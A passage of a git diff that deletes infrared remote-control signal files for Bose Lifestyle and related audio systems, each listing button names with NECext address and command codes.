4B 00 00 -command: 06 00 00 00 -# -name: INPUT_TV -type: parsed -protocol: NECext -address: BA 4B 00 00 -command: 0E 00 00 00 -# -name: INPUT_AUX -type: parsed -protocol: NECext -address: BA 4B 00 00 -command: 0F 00 00 00 -# -name: INPUT_CBL-SAT -type: parsed -protocol: NECext -address: BA 4B 00 00 -command: 15 00 00 00 -# -name: CH/PRESET_- -type: parsed -protocol: NECext -address: BA 4B 00 00 -command: 18 00 00 00 -# -name: CH/PRESET_+ -type: parsed -protocol: NECext -address: BA 4B 00 00 -command: 19 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: BA 4B 00 00 -command: 1A 00 00 00 -# -name: CURSOR_NER/TUNE -type: parsed -protocol: NECext -address: BA 4B 00 00 -command: 20 00 00 00 -# -name: EXIT -type: parsed -protocol: NECext -address: BA 4B 00 00 -command: 30 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: BA 4B 00 00 -command: 40 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: BA 4B 00 00 -command: 41 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: BA 4B 00 00 -command: 42 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: BA 4B 00 00 -command: 43 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: BA 4B 00 00 -command: 44 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: BA 4B 00 00 -command: 45 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: BA 4B 00 00 -command: 46 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: BA 4B 00 00 -command: 47 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: BA 4B 00 00 -command: 48 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: BA 4B 00 00 -command: 49 00 00 00 -# -name: POWER_ON/OFF -type: parsed -protocol: NECext -address: BA 4B 00 00 -command: 4C 00 00 00 -# -name: INPUT_CD-DVD -type: parsed -protocol: NECext -address: BA 4B 00 00 -command: 53 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: BA 4B 00 00 -command: 55 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: BA 4B 00 00 -command: 56 00 00 00 -# -name: SEEK_<< -type: parsed -protocol: NECext -address: BA 4B 00 00 -command: 57 00 00 00 -# -name: SEEK_>> -type: parsed -protocol: NECext -address: BA 4B 00 00 -command: 58 00 00 00 -# -name: SHUFFLE -type: parsed -protocol: NECext -address: BA 4B 00 00 -command: 5C 00 00 00 -# -name: GER/SEARCH -type: parsed -protocol: NECext -address: BA 4B 00 00 -command: 60 00 00 00 -# -name: INFO -type: parsed -protocol: NECext -address: BA 4B 00 00 -command: 64 00 00 00 -# -name: SYSTEM -type: parsed -protocol: NECext -address: BA 4B 00 00 -command: 70 00 00 00 -# -name: SETTINGS -type: parsed -protocol: NECext -address: BA 4B 00 00 -command: 80 00 00 00 -# -name: DVD_MENU -type: parsed -protocol: NECext -address: BA 4B 00 00 -command: 90 00 00 00 -# -name: REPEAT -type: parsed -protocol: NECext -address: BA 4B 00 00 -command: 9D 00 00 00 -# -name: NSTER/SEARC -type: parsed -protocol: NECext -address: BA 4B 00 00 -command: A0 00 00 00 -# -name: CURSOR_UPP/TUNE -type: parsed -protocol: NECext -address: BA 4B 00 00 -command: C0 00 00 00 -# -name: GUIDE -type: parsed -protocol: NECext -address: BA 4B 00 00 -command: D0 00 00 00 -# -name: CURSOR_ENTER -type: parsed -protocol: NECext -address: BA 4B 00 00 -command: E0 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bose/CCF Conversion/186,133.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bose/CCF Conversion/186,133.ir deleted file mode 100644 index 398bea22d..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bose/CCF Conversion/186,133.ir +++ /dev/null @@ -1,152 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 1_MUTE/UNMUTE_80_A1 -type: parsed -protocol: NECext -address: BA 85 00 00 -command: 01 00 00 00 -# -name: 5_VOL_-_40_A1 -type: parsed -protocol: NECext -address: BA 85 00 00 -command: 02 00 00 00 -# -name: 4_VOL_+_C0_A1 -type: parsed -protocol: NECext -address: BA 85 00 00 -command: 03 00 00 00 -# -name: 7_AM_30_A1 -type: parsed -protocol: NECext -address: BA 85 00 00 -command: 0C 00 00 00 -# -name: 12_VIDEO_2_B0_A1 -type: parsed -protocol: NECext -address: BA 85 00 00 -command: 0D 00 00 00 -# -name: 11_VIDEO_1_70_A1 -type: parsed -protocol: NECext -address: BA 85 00 00 -command: 0E 00 00 00 -# -name: 13_AUX_F0_A1 -type: parsed -protocol: NECext -address: BA 85 00 00 -command: 0F 00 00 00 -# -name: 8_FM_08_A1 -type: parsed -protocol: NECext -address: BA 85 00 00 -command: 10 00 00 00 -# -name: 23_SKIP_REV_18_A1 -type: parsed -protocol: NECext -address: BA 85 00 00 -command: 18 00 00 00 -# -name: 24_SKIP_FWD_98_A1 -type: parsed -protocol: NECext -address: BA 85 00 00 -command: 19 00 00 00 -# -name: 25_STOP_58_A1 -type: parsed -protocol: NECext -address: BA 85 00 00 -command: 1A 00 00 00 -# -name: 26_AM/FM_PRESET_+_B8 -type: parsed -protocol: NECext -address: BA 85 00 00 -command: 1D 00 00 00 -# -name: 27_AM/FM_PRESET_-_F8 -type: parsed -protocol: NECext -address: BA 85 00 00 -command: 1F 00 00 00 -# -name: 29_RANDOM_DISK_52_A1 -type: parsed -protocol: NECext -address: BA 85 00 00 -command: 4A 00 00 00 -# -name: 14_OFF_32_A1 -type: parsed -protocol: NECext -address: BA 85 00 00 -command: 4C 00 00 00 -# -name: 15_TAPE_4A_A1 -type: parsed -protocol: NECext -address: BA 85 00 00 -command: 52 00 00 00 -# -name: 16_CD_CA_A1 -type: parsed -protocol: NECext -address: BA 85 00 00 -command: 53 00 00 00 -# -name: 28_DISK_-_2A_A1 -type: parsed -protocol: NECext -address: BA 85 00 00 -command: 54 00 00 00 -# -name: 19_PLAY_AA_A1 -type: parsed -protocol: NECext -address: BA 85 00 00 -command: 55 00 00 00 -# -name: 18_PAUSE_6A_A1 -type: parsed -protocol: NECext -address: BA 85 00 00 -command: 56 00 00 00 -# -name: 20_FAST_REV_EA_A1 -type: parsed -protocol: NECext -address: BA 85 00 00 -command: 57 00 00 00 -# -name: 21_FAST_FWD_1A_A1 -type: parsed -protocol: NECext -address: BA 85 00 00 -command: 58 00 00 00 -# -name: 22_RANDOM_3A_A1 -type: parsed -protocol: NECext -address: BA 85 00 00 -command: 5C 00 00 00 -# -name: 17_NEXT_DISK_BA_A1 -type: parsed -protocol: NECext -address: BA 85 00 00 -command: 5D 00 00 00 -# -name: 30_MUTE_ALL_FB_A1 -type: parsed -protocol: NECext -address: BA 85 00 00 -command: DF 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bose/CCF Conversion/186,213.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bose/CCF Conversion/186,213.ir deleted file mode 100644 index 257eb00df..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bose/CCF Conversion/186,213.ir +++ /dev/null @@ -1,164 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 1_MUTE/UNMUTE_80_AB -type: parsed -protocol: NECext -address: BA D5 00 00 -command: 01 00 00 00 -# -name: 5_VOL_-_40_AB -type: parsed -protocol: NECext -address: BA D5 00 00 -command: 02 00 00 00 -# -name: 4_VOL_+_C0_AB -type: parsed -protocol: NECext -address: BA D5 00 00 -command: 03 00 00 00 -# -name: 6_AM/FM_60_AB -type: parsed -protocol: NECext -address: BA D5 00 00 -command: 06 00 00 00 -# -name: 7_AM_30_AB -type: parsed -protocol: NECext -address: BA D5 00 00 -command: 0C 00 00 00 -# -name: 12_VIDEO_2_B0_AB -type: parsed -protocol: NECext -address: BA D5 00 00 -command: 0D 00 00 00 -# -name: 11_VIDEO_1_70_AB -type: parsed -protocol: NECext -address: BA D5 00 00 -command: 0E 00 00 00 -# -name: 13_AUX_F0_AB -type: parsed -protocol: NECext -address: BA D5 00 00 -command: 0F 00 00 00 -# -name: 8_FM_08_AB -type: parsed -protocol: NECext -address: BA D5 00 00 -command: 10 00 00 00 -# -name: 23_SKIP_REV_18_AB -type: parsed -protocol: NECext -address: BA D5 00 00 -command: 18 00 00 00 -# -name: 24_SKIP_FWD_98_AB -type: parsed -protocol: NECext -address: BA D5 00 00 -command: 19 00 00 00 -# -name: 25_STOP_58_AB -type: parsed -protocol: NECext -address: BA D5 00 00 -command: 1A 00 00 00 -# -name: 18_PAUSE_D8_AB -type: parsed -protocol: NECext -address: BA D5 00 00 -command: 1B 00 00 00 -# -name: 26_AM/FM_PRESET_+_B8 -type: parsed -protocol: NECext -address: BA D5 00 00 -command: 1D 00 00 00 -# -name: 27_AM/FM_PRESET_-_F8 -type: parsed -protocol: NECext -address: BA D5 00 00 -command: 1F 00 00 00 -# -name: 29_RANDOM_DISK_52_AB -type: parsed -protocol: NECext -address: BA D5 00 00 -command: 4A 00 00 00 -# -name: 14_OFF_32_AB -type: parsed -protocol: NECext -address: BA D5 00 00 -command: 4C 00 00 00 -# -name: 15_TAPE_4A_AB -type: parsed -protocol: NECext -address: BA D5 00 00 -command: 52 00 00 00 -# -name: 16_CD_CA_AB -type: parsed -protocol: NECext -address: BA D5 00 00 -command: 53 00 00 00 -# -name: 28_DISK_-_2A_AB -type: parsed -protocol: NECext -address: BA D5 00 00 -command: 54 00 00 00 -# -name: 19_PLAY_AA_AB -type: parsed -protocol: NECext -address: BA D5 00 00 -command: 55 00 00 00 -# -name: 18_PAUSE_6A_AB -type: parsed -protocol: NECext -address: BA D5 00 00 -command: 56 00 00 00 -# -name: 20_FAST_REV_EA_AB -type: parsed -protocol: NECext -address: BA D5 00 00 -command: 57 00 00 00 -# -name: 21_FAST_FWD_1A_AB -type: parsed -protocol: NECext -address: BA D5 00 00 -command: 58 00 00 00 -# -name: 22_RANDOM_3A_AB -type: parsed -protocol: NECext -address: BA D5 00 00 -command: 5C 00 00 00 -# -name: 17_NEXT_DISK_BA_AB -type: parsed -protocol: NECext -address: BA D5 00 00 -command: 5D 00 00 00 -# -name: 30_MUTE_ALL_FB_AB -type: parsed -protocol: NECext -address: BA D5 00 00 -command: DF 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bose/CCF Conversion/186,229.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bose/CCF Conversion/186,229.ir deleted file mode 100644 index 36a873100..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bose/CCF Conversion/186,229.ir +++ /dev/null @@ -1,152 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 1_MUTE/UNMUTE_80_A7 -type: parsed -protocol: NECext -address: BA E5 00 00 -command: 01 00 00 00 -# -name: 5_VOL_-_40_A7 -type: parsed -protocol: NECext -address: BA E5 00 00 -command: 02 00 00 00 -# -name: 4_VOL_+_C0_A7 -type: parsed -protocol: NECext -address: BA E5 00 00 -command: 03 00 00 00 -# -name: 7_AM_30_A7 -type: parsed -protocol: NECext -address: BA E5 00 00 -command: 0C 00 00 00 -# -name: 12_VIDEO_2_B0_A7 -type: parsed -protocol: NECext -address: BA E5 00 00 -command: 0D 00 00 00 -# -name: 11_VIDEO_1_70_A7 -type: parsed -protocol: NECext -address: BA E5 00 00 -command: 0E 00 00 00 -# -name: 13_AUX_F0_A7 -type: parsed -protocol: NECext -address: BA E5 00 00 -command: 0F 00 00 00 -# -name: 8_FM_08_A7 -type: parsed -protocol: NECext -address: BA E5 00 00 -command: 10 00 00 00 -# -name: 23_SKIP_REV_18_A7 -type: parsed -protocol: NECext -address: BA E5 00 00 -command: 18 00 00 00 -# -name: 24_SKIP_FWD_98_A7 -type: parsed -protocol: NECext -address: BA E5 00 00 -command: 19 00 00 00 -# -name: 25_STOP_58_A7 -type: parsed -protocol: NECext -address: BA E5 00 00 -command: 1A 00 00 00 -# -name: 26_AM/FM_PRESET_+_B8 -type: parsed -protocol: NECext -address: BA E5 00 00 -command: 1D 00 00 00 -# -name: 27_AM/FM_PRESET_-_F8 -type: parsed -protocol: NECext -address: BA E5 00 00 -command: 1F 00 00 00 -# -name: 29_RANDOM_DISK_52_A7 -type: parsed -protocol: NECext -address: BA E5 00 00 -command: 4A 00 00 00 -# -name: 14_OFF_32_A7 -type: parsed -protocol: NECext -address: BA E5 00 00 -command: 4C 00 00 00 -# -name: 15_TAPE_4A_A7 -type: parsed -protocol: NECext -address: BA E5 00 00 -command: 52 00 00 00 -# -name: 16_CD_CA_A7 -type: parsed -protocol: NECext -address: BA E5 00 00 -command: 53 00 00 00 -# -name: 28_DISK_-_2A_A7 -type: parsed -protocol: NECext -address: BA E5 00 00 -command: 54 00 00 00 -# -name: 19_PLAY_AA_A7 -type: parsed -protocol: NECext -address: BA E5 00 00 -command: 55 00 00 00 -# -name: 18_PAUSE_6A_A7 -type: parsed -protocol: NECext -address: BA E5 00 00 -command: 56 00 00 00 -# -name: 20_FAST_REV_EA_A7 -type: parsed -protocol: NECext -address: BA E5 00 00 -command: 57 00 00 00 -# -name: 21_FAST_FWD_1A_A7 -type: parsed -protocol: NECext -address: BA E5 00 00 -command: 58 00 00 00 -# -name: 22_RANDOM_3A_A7 -type: parsed -protocol: NECext -address: BA E5 00 00 -command: 5C 00 00 00 -# -name: 17_NEXT_DISK_BA_A7 -type: parsed -protocol: NECext -address: BA E5 00 00 -command: 5D 00 00 00 -# -name: 30_MUTE_ALL_FB_A7 -type: parsed -protocol: NECext -address: BA E5 00 00 -command: DF 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bose/CCF Conversion/186,85.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bose/CCF Conversion/186,85.ir deleted file mode 100644 index d450ded61..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bose/CCF Conversion/186,85.ir +++ /dev/null @@ -1,392 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: MUTE_TOGGLE -type: parsed -protocol: NECext -address: BA 55 00 00 -command: 01 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: BA 55 00 00 -command: 02 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: BA 55 00 00 -command: 03 00 00 00 -# -name: MONO:5_DECODING_ON -type: parsed -protocol: NECext -address: BA 55 00 00 -command: 04 00 00 00 -# -name: MONO:5_DECODING_OFF -type: parsed -protocol: NECext -address: BA 55 00 00 -command: 05 00 00 00 -# -name: AM/FM_INPUT_TOGGLE -type: parsed -protocol: NECext -address: BA 55 00 00 -command: 06 00 00 00 -# -name: CENTER_VOLUME_- -type: parsed -protocol: NECext -address: BA 55 00 00 -command: 08 00 00 00 -# -name: CENTER_VOLUME_+ -type: parsed -protocol: NECext -address: BA 55 00 00 -command: 09 00 00 00 -# -name: SURROUND_VOLUME_- -type: parsed -protocol: NECext -address: BA 55 00 00 -command: 0A 00 00 00 -# -name: SURROUND_VOLUME_+ -type: parsed -protocol: NECext -address: BA 55 00 00 -command: 0B 00 00 00 -# -name: AM_INPUT -type: parsed -protocol: NECext -address: BA 55 00 00 -command: 0C 00 00 00 -# -name: VIDEO_2 -type: parsed -protocol: NECext -address: BA 55 00 00 -command: 0D 00 00 00 -# -name: VIDEO_1 -type: parsed -protocol: NECext -address: BA 55 00 00 -command: 0E 00 00 00 -# -name: AUX_INPUT -type: parsed -protocol: NECext -address: BA 55 00 00 -command: 0F 00 00 00 -# -name: FM_INPUT -type: parsed -protocol: NECext -address: BA 55 00 00 -command: 10 00 00 00 -# -name: DIGITAL_1 -type: parsed -protocol: NECext -address: BA 55 00 00 -command: 11 00 00 00 -# -name: DIGITAL_2 -type: parsed -protocol: NECext -address: BA 55 00 00 -command: 12 00 00 00 -# -name: DIGITAL_3 -type: parsed -protocol: NECext -address: BA 55 00 00 -command: 13 00 00 00 -# -name: DIGITAL_4 -type: parsed -protocol: NECext -address: BA 55 00 00 -command: 14 00 00 00 -# -name: NO_DIGITAL_INPUT -type: parsed -protocol: NECext -address: BA 55 00 00 -command: 15 00 00 00 -# -name: NO_DIGITAL -type: parsed -protocol: NECext -address: BA 55 00 00 -command: 15 00 00 00 -# -name: TOGGLE_1:5 -type: parsed -protocol: NECext -address: BA 55 00 00 -command: 16 00 00 00 -# -name: TOGGLE_DRC -type: parsed -protocol: NECext -address: BA 55 00 00 -command: 17 00 00 00 -# -name: CD_TRACK_SKIP_\XAA -type: parsed -protocol: NECext -address: BA 55 00 00 -command: 18 00 00 00 -# -name: SKIP_\XAA -type: parsed -protocol: NECext -address: BA 55 00 00 -command: 18 00 00 00 -# -name: TRACK_SKIP_\XAA -type: parsed -protocol: NECext -address: BA 55 00 00 -command: 18 00 00 00 -# -name: CD_TRACK_SKIP_\XBA -type: parsed -protocol: NECext -address: BA 55 00 00 -command: 19 00 00 00 -# -name: SKIP_\XBA -type: parsed -protocol: NECext -address: BA 55 00 00 -command: 19 00 00 00 -# -name: TRACK_SKIP_\XBA -type: parsed -protocol: NECext -address: BA 55 00 00 -command: 19 00 00 00 -# -name: CD_\X86 -type: parsed -protocol: NECext -address: BA 55 00 00 -command: 1A 00 00 00 -# -name: VIDEO_5_(SE-1) -type: parsed -protocol: NECext -address: BA 55 00 00 -command: 1C 00 00 00 -# -name: MRI_PRESET_+ -type: parsed -protocol: NECext -address: BA 55 00 00 -command: 1D 00 00 00 -# -name: DYN_RNG_COMP_OFF -type: parsed -protocol: NECext -address: BA 55 00 00 -command: 1E 00 00 00 -# -name: MRI_PRESET_- -type: parsed -protocol: NECext -address: BA 55 00 00 -command: 1F 00 00 00 -# -name: FILM_EQ_OFF -type: parsed -protocol: NECext -address: BA 55 00 00 -command: 2F 00 00 00 -# -name: RANDOM_DISC_TOGGLE -type: parsed -protocol: NECext -address: BA 55 00 00 -command: 4A 00 00 00 -# -name: STEREO_MODE -type: parsed -protocol: NECext -address: BA 55 00 00 -command: 4B 00 00 00 -# -name: OFF -type: parsed -protocol: NECext -address: BA 55 00 00 -command: 4C 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: BA 55 00 00 -command: 4C 00 00 00 -# -name: TREBLE_FLAT -type: parsed -protocol: NECext -address: BA 55 00 00 -command: 4D 00 00 00 -# -name: SURROUND_MODE -type: parsed -protocol: NECext -address: BA 55 00 00 -command: 4E 00 00 00 -# -name: FRONT_3_SPEAKER_MODE -type: parsed -protocol: NECext -address: BA 55 00 00 -command: 4F 00 00 00 -# -name: TREBLE_+ -type: parsed -protocol: NECext -address: BA 55 00 00 -command: 50 00 00 00 -# -name: TREBLE_- -type: parsed -protocol: NECext -address: BA 55 00 00 -command: 51 00 00 00 -# -name: TAPE_INPUT -type: parsed -protocol: NECext -address: BA 55 00 00 -command: 52 00 00 00 -# -name: CD_INPUT -type: parsed -protocol: NECext -address: BA 55 00 00 -command: 53 00 00 00 -# -name: CD_DISC_SKIP_- -type: parsed -protocol: NECext -address: BA 55 00 00 -command: 54 00 00 00 -# -name: CD_\X87 -type: parsed -protocol: NECext -address: BA 55 00 00 -command: 55 00 00 00 -# -name: CD_\X85 -type: parsed -protocol: NECext -address: BA 55 00 00 -command: 56 00 00 00 -# -name: SEEK_\XA0 -type: parsed -protocol: NECext -address: BA 55 00 00 -command: 57 00 00 00 -# -name: SEEK_\XB3 -type: parsed -protocol: NECext -address: BA 55 00 00 -command: 58 00 00 00 -# -name: DYNA_RNG_COMP_ON -type: parsed -protocol: NECext -address: BA 55 00 00 -command: 59 00 00 00 -# -name: TOGGLE_FEQ -type: parsed -protocol: NECext -address: BA 55 00 00 -command: 5A 00 00 00 -# -name: BASS_FLAT -type: parsed -protocol: NECext -address: BA 55 00 00 -command: 5B 00 00 00 -# -name: RANDOM_ALL_TOGGLE -type: parsed -protocol: NECext -address: BA 55 00 00 -command: 5C 00 00 00 -# -name: RANDOM_ALL -type: parsed -protocol: NECext -address: BA 55 00 00 -command: 5C 00 00 00 -# -name: CD_DISC_SKIP_+ -type: parsed -protocol: NECext -address: BA 55 00 00 -command: 5D 00 00 00 -# -name: BASS_+ -type: parsed -protocol: NECext -address: BA 55 00 00 -command: 5E 00 00 00 -# -name: BASS_- -type: parsed -protocol: NECext -address: BA 55 00 00 -command: 5F 00 00 00 -# -name: AMP_OFF -type: parsed -protocol: NECext -address: BA 55 00 00 -command: 6F 00 00 00 -# -name: SURROUND_FLAT -type: parsed -protocol: NECext -address: BA 55 00 00 -command: 9F 00 00 00 -# -name: AMP_ON -type: parsed -protocol: NECext -address: BA 55 00 00 -command: AF 00 00 00 -# -name: FILM_EQ_ON -type: parsed -protocol: NECext -address: BA 55 00 00 -command: CF 00 00 00 -# -name: MUTE_ALL -type: parsed -protocol: NECext -address: BA 55 00 00 -command: DF 00 00 00 -# -name: CENTER_FLAT -type: parsed -protocol: NECext -address: BA 55 00 00 -command: EF 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,1.ir deleted file mode 100644 index 5b8284b59..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,1.ir +++ /dev/null @@ -1,266 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 2-3-5 -type: parsed -protocol: NECext -address: BA 01 00 00 -command: 00 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: BA 01 00 00 -command: 01 00 00 00 -# -name: VOLUME_DOWN -type: parsed -protocol: NECext -address: BA 01 00 00 -command: 02 00 00 00 -# -name: VOLUME_UP -type: parsed -protocol: NECext -address: BA 01 00 00 -command: 03 00 00 00 -# -name: FM/AM -type: parsed -protocol: NECext -address: BA 01 00 00 -command: 06 00 00 00 -# -name: SURROUND_- -type: parsed -protocol: NECext -address: BA 01 00 00 -command: 0A 00 00 00 -# -name: SURROUND_+ -type: parsed -protocol: NECext -address: BA 01 00 00 -command: 0B 00 00 00 -# -name: VCR -type: parsed -protocol: NECext -address: BA 01 00 00 -command: 0D 00 00 00 -# -name: TV -type: parsed -protocol: NECext -address: BA 01 00 00 -command: 0E 00 00 00 -# -name: AUX -type: parsed -protocol: NECext -address: BA 01 00 00 -command: 0F 00 00 00 -# -name: CHANNEL_DOWN -type: parsed -protocol: NECext -address: BA 01 00 00 -command: 18 00 00 00 -# -name: CHANNEL_UP -type: parsed -protocol: NECext -address: BA 01 00 00 -command: 19 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: BA 01 00 00 -command: 1A 00 00 00 -# -name: ARROW_DOWN -type: parsed -protocol: NECext -address: BA 01 00 00 -command: 20 00 00 00 -# -name: TUNE_DOWN -type: parsed -protocol: NECext -address: BA 01 00 00 -command: 20 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: BA 01 00 00 -command: 40 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: BA 01 00 00 -command: 41 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: BA 01 00 00 -command: 42 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: BA 01 00 00 -command: 43 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: BA 01 00 00 -command: 44 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: BA 01 00 00 -command: 45 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: BA 01 00 00 -command: 46 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: BA 01 00 00 -command: 47 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: BA 01 00 00 -command: 48 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: BA 01 00 00 -command: 49 00 00 00 -# -name: ON/OFF -type: parsed -protocol: NECext -address: BA 01 00 00 -command: 4C 00 00 00 -# -name: MUTE_ALL -type: parsed -protocol: NECext -address: BA 01 00 00 -command: 4D 00 00 00 -# -name: TAPE -type: parsed -protocol: NECext -address: BA 01 00 00 -command: 52 00 00 00 -# -name: CD/DVD -type: parsed -protocol: NECext -address: BA 01 00 00 -command: 53 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: BA 01 00 00 -command: 55 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: BA 01 00 00 -command: 56 00 00 00 -# -name: << -type: parsed -protocol: NECext -address: BA 01 00 00 -command: 57 00 00 00 -# -name: >> -type: parsed -protocol: NECext -address: BA 01 00 00 -command: 58 00 00 00 -# -name: SHUFFLE -type: parsed -protocol: NECext -address: BA 01 00 00 -command: 5C 00 00 00 -# -name: ARROW_RIGHT -type: parsed -protocol: NECext -address: BA 01 00 00 -command: 60 00 00 00 -# -name: EXIT -type: parsed -protocol: NECext -address: BA 01 00 00 -command: 80 00 00 00 -# -name: SETTINGS -type: parsed -protocol: NECext -address: BA 01 00 00 -command: 80 00 00 00 -# -name: DVD_MENU -type: parsed -protocol: NECext -address: BA 01 00 00 -command: 90 00 00 00 -# -name: REPEAT -type: parsed -protocol: NECext -address: BA 01 00 00 -command: 9D 00 00 00 -# -name: ARROW_LEFT -type: parsed -protocol: NECext -address: BA 01 00 00 -command: A0 00 00 00 -# -name: ARROW_UP -type: parsed -protocol: NECext -address: BA 01 00 00 -command: C0 00 00 00 -# -name: TUNE_UP -type: parsed -protocol: NECext -address: BA 01 00 00 -command: C0 00 00 00 -# -name: GUIDE -type: parsed -protocol: NECext -address: BA 01 00 00 -command: D0 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: BA 01 00 00 -command: E0 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,136.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,136.ir deleted file mode 100644 index 169c37888..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,136.ir +++ /dev/null @@ -1,320 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: SPEAKERS_2-3-5 -type: parsed -protocol: NECext -address: BA 88 00 00 -command: 00 00 00 00 -# -name: MUTE_ZONE_#1 -type: parsed -protocol: NECext -address: BA 88 00 00 -command: 01 00 00 00 -# -name: VOLUME_-_ZONE_#1 -type: parsed -protocol: NECext -address: BA 88 00 00 -command: 02 00 00 00 -# -name: -type: parsed -protocol: NECext -address: BA 88 00 00 -command: 02 00 00 00 -# -name: VOLUME_+_ZONE_#1 -type: parsed -protocol: NECext -address: BA 88 00 00 -command: 03 00 00 00 -# -name: -type: parsed -protocol: NECext -address: BA 88 00 00 -command: 03 00 00 00 -# -name: FM/AM_ZONE_#1 -type: parsed -protocol: NECext -address: BA 88 00 00 -command: 06 00 00 00 -# -name: SURROUND_- -type: parsed -protocol: NECext -address: BA 88 00 00 -command: 0A 00 00 00 -# -name: -type: parsed -protocol: NECext -address: BA 88 00 00 -command: 0A 00 00 00 -# -name: SURROUND_+ -type: parsed -protocol: NECext -address: BA 88 00 00 -command: 0B 00 00 00 -# -name: -type: parsed -protocol: NECext -address: BA 88 00 00 -command: 0B 00 00 00 -# -name: VCR_INPUT -type: parsed -protocol: NECext -address: BA 88 00 00 -command: 0D 00 00 00 -# -name: TV_INPUT -type: parsed -protocol: NECext -address: BA 88 00 00 -command: 0E 00 00 00 -# -name: AUX_INPUT_ZONE_#1 -type: parsed -protocol: NECext -address: BA 88 00 00 -command: 0F 00 00 00 -# -name: DVD_STOP -type: parsed -protocol: NECext -address: BA 88 00 00 -command: 1A 00 00 00 -# -name: DVD_CURSOR_DOWN -type: parsed -protocol: NECext -address: BA 88 00 00 -command: 20 00 00 00 -# -name: -type: parsed -protocol: NECext -address: BA 88 00 00 -command: 20 00 00 00 -# -name: FM/AM_ZONE_#2 -type: parsed -protocol: NECext -address: BA 88 00 00 -command: 20 00 00 00 -# -name: DVD_EXIT -type: parsed -protocol: NECext -address: BA 88 00 00 -command: 30 00 00 00 -# -name: DVD_0 -type: parsed -protocol: NECext -address: BA 88 00 00 -command: 40 00 00 00 -# -name: DVD_1 -type: parsed -protocol: NECext -address: BA 88 00 00 -command: 41 00 00 00 -# -name: FM_PRESET_1 -type: parsed -protocol: NECext -address: BA 88 00 00 -command: 41 00 00 00 -# -name: DVD_2 -type: parsed -protocol: NECext -address: BA 88 00 00 -command: 42 00 00 00 -# -name: FM_PRESET_2 -type: parsed -protocol: NECext -address: BA 88 00 00 -command: 42 00 00 00 -# -name: DVD_3 -type: parsed -protocol: NECext -address: BA 88 00 00 -command: 43 00 00 00 -# -name: FM_PRESET_3 -type: parsed -protocol: NECext -address: BA 88 00 00 -command: 43 00 00 00 -# -name: DVD_4 -type: parsed -protocol: NECext -address: BA 88 00 00 -command: 44 00 00 00 -# -name: FM_PRESET_4 -type: parsed -protocol: NECext -address: BA 88 00 00 -command: 44 00 00 00 -# -name: DVD_5 -type: parsed -protocol: NECext -address: BA 88 00 00 -command: 45 00 00 00 -# -name: DVD_6 -type: parsed -protocol: NECext -address: BA 88 00 00 -command: 46 00 00 00 -# -name: DVD_7 -type: parsed -protocol: NECext -address: BA 88 00 00 -command: 47 00 00 00 -# -name: DVD_8 -type: parsed -protocol: NECext -address: BA 88 00 00 -command: 48 00 00 00 -# -name: DVD_9 -type: parsed -protocol: NECext -address: BA 88 00 00 -command: 49 00 00 00 -# -name: ON_/OFF -type: parsed -protocol: NECext -address: BA 88 00 00 -command: 4C 00 00 00 -# -name: MUTE_ALL_ZONE_#1&2 -type: parsed -protocol: NECext -address: BA 88 00 00 